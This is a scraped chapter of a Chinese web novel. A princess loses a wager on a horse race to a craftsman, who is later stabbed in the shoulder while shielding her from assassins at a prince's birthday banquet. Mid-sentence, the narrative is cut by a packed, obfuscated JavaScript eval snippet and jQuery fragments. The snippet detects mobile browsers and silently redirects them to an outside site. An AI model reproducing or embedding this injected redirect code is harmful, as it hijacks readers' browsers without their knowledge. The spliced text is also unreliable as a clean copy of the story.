所有人的表情都凝固了,尤其是那群方才还言笑晏晏的世家子弟,此刻嘴巴张得能塞进一颗鸡蛋。
刘楚玉跨坐在神骏的汗血宝马上,脸上的得意与傲慢还未完全褪去,就被这突如其来的反转冲刷得一干二净。
她看着那个在终点线后勒马回身的青衫男子,那副懒洋洋的笑容,此刻比任何讥讽都来得刺眼。
怎么可能?
她胯下的是大宛进贡的千里马,他骑的,是马厩里喂料都减半的病秧子!
谢珩没管周围的惊愕,他慢悠悠地翻身下马,走回到刘楚玉面前,拍了拍那匹劣马的脖颈。
“公主,承让了。”
他咧嘴一笑,露出一口白牙。
“你说的任我处置,还算数吗?”
刘楚玉的脸色一阵青一阵白,胸口剧烈起伏。
她本是想借这些真正的天之骄子,来敲打敲打这个不知天高地厚的工匠。
结果,敲打的反倒变成了她自己。
她深吸一口气,强压下心头的怒火,从牙缝里挤出几个字。
“本宫……金口玉言。”
“那成。”
谢珩点点头,煞有介事地摸着下巴,上上下下打量了她一番。
在众人紧张的注视下,他忽然凑近了些,压低声音。
“那……今晚吗?”
刘楚玉:“?!”
谢珩一本正经:“就当我一天厨师,给我做个……红烧狮子头吧,要肥而不腻的那种。”
“噗!”
不知道是谁没忍住,笑出了声。
刘楚玉那张艳丽无双的脸,瞬间涨成了猪肝色。
她感觉自己所有的怒火,所有的算计,所有的骄傲,都在这一刻,被一个红烧狮子头给打得粉碎。
羞辱!
这是赤裸裸的羞辱!
她宁可谢珩提出什么过分的要求,也好过这样被他轻飘飘地用一个菜名给打发了!
“滚!”
刘楚玉猛地一甩马鞭,不是抽向谢珩,而是遥遥指着那群还愣在原地的世家子弟。
“一群废物!连个种地的都比不过,还有脸站在这儿碍眼!”
“都给本宫滚!”
怒吼声响彻马场,那群倒霉的公子哥如蒙大赦,又羞又怕,连滚带爬地作鸟兽散。
闹剧,就此收场。
……
三日后,广陵王府。
皇帝赵元稷的亲叔叔广陵王赵泰设五十寿宴,遍请皇亲国戚与朝中重臣,场面宏大。
刘楚玉自然也在受邀之列。
她似乎已经忘了马场那日的不快,又恢复了那副高高在上的公主派头。
一袭金丝鸾鸟纹的宫装,衬得她华贵无匹,发髻上珠翠环绕,步步生莲,甫一入场,便成了全场焦点。
谢珩跟在她身后,换上了一身合体的锦袍,依旧扮演着那个不怎么安分的“巧匠”角色。
广陵王赵泰年过半百,面相和善,笑起来眼角全是褶子,亲自将刘楚玉迎至上宾之位。
“哎呀,公主殿下能来,真是令老臣这陋室蓬荜生辉啊!”
“王叔客气了。”
刘楚玉慵懒地落座,对这套虚礼应付自如。
宴会开始,丝竹悦耳,舞姬们水袖翻飞,一派歌舞升平的景象。
酒过三巡,菜过五味。
广陵王赵泰端着酒杯,颤颤巍巍地走到刘楚玉案前。
“公主殿下,老臣再敬您一杯,愿我大虞国泰民安,愿公主千岁安康!”
刘楚玉端起酒杯,正欲饮下。
“砰!”
广陵王手中的酒杯,忽然“失手”滑落,在光洁的地板上摔得粉碎。
清脆的碎裂声,像是某种信号。
几乎在同一时间,那群原本在殿中翩翩起舞的舞姬,眼中骤然爆出森然杀机!
她们从宽大的水袖中抽出雪亮的**,动作迅猛如电,竟是直扑御座上的刘楚玉而来!
变故只在瞬息之间!
离得最近的一名舞姬,已经越过数名呆若木鸡的侍卫,手中寒刃破空,直刺刘楚玉的面门!
那冰冷的锋芒,在刘楚玉惊愕的瞳孔中,越放越大。
她甚至来不及尖叫。
就在这时,一道身影旋风般地挡在了她的案前。
是谢珩。
他几乎是凭着本能,将身前的桌案猛地掀翻,用那沉重的木料去阻挡刺客。
“噗嗤!”
利刃入肉的声音,沉闷而清晰。
刺客的**,被桌案挡偏了方向,却依旧狠狠地贯穿了谢珩的左肩。
猩红的血,瞬间喷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956438|177620||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
溅而出,有几滴,滚烫地落在了刘楚玉华美的宫装上,绽开一朵朵妖异的红梅。
时间,仿佛在这一刻凝固了。
刘楚玉瞳孔剧震,整个人都僵住了。
“有刺客!护驾!”
广陵王发出一声惊恐的尖叫,随即竟不知从哪来的力气,夺过身旁侍卫的长剑,状若疯狂地朝着那名得手后一愣神的刺客砍去。
“大胆贼人,敢在老夫府中行刺公主!死!”
剑光闪过,那名女刺客还没来得及做出任何反应,便被一剑封喉,满脸不可置信地倒在了血泊中。
一场惊天刺杀,就这么被广陵王“雷霆万钧”地平息了。
可殿内的惊恐,却丝毫未减。
“谢珩……”
刘楚玉终于反应过来,声音干涩。
她看着那个挡在她身前,身形却有些晃动的男人,左肩的血正汩汩地往外冒,染红了他大片的衣袍。
“啊!”
一声凄厉的尖叫,划破了王府的夜空。
刘楚玉一把扯下发髻上那根象征着身份的凤头金钗,看都没看一眼,任其跌落在地。
她连滚带爬地扑到谢珩身边,跪倒在地。
“别动!你别动!”
她那双向来只懂抚琴弄妆的纤纤玉手,此刻沾满了温热的鲜血,颤抖着,去按压那深可见骨的可怕伤口。
血却怎么也止不住,从她的指缝间不断涌出。
“太医!!”
刘楚玉抬起头,那张美艳绝伦的脸上,此刻满是泪水和血污,再无半分平日的慵懒。
“太医!给本宫叫太医来!!”
“他要是有事,本宫要你们所有人陪葬!!!”
公主府乱成了一锅粥。
谢珩昏迷了三天三夜,刘楚玉就守了他三天三夜。
她第一次觉得,自己这双引以为傲,能描绘出天下最精致眉样的手,竟是如此笨拙。
金剪刀在她指尖颤抖,绞开那被血浸透凝固的衣料时,发出“咔嚓咔嚓”的声响。
太医满头大汗地用小刀剜去腐肉,她就站在旁边死死盯着,凤眸里布满血丝,牙齿咬得下唇都失了血色。
“轻点!你没吃饭吗!手抖什么!”
太医手一哆嗦,险些把刀掉在地上。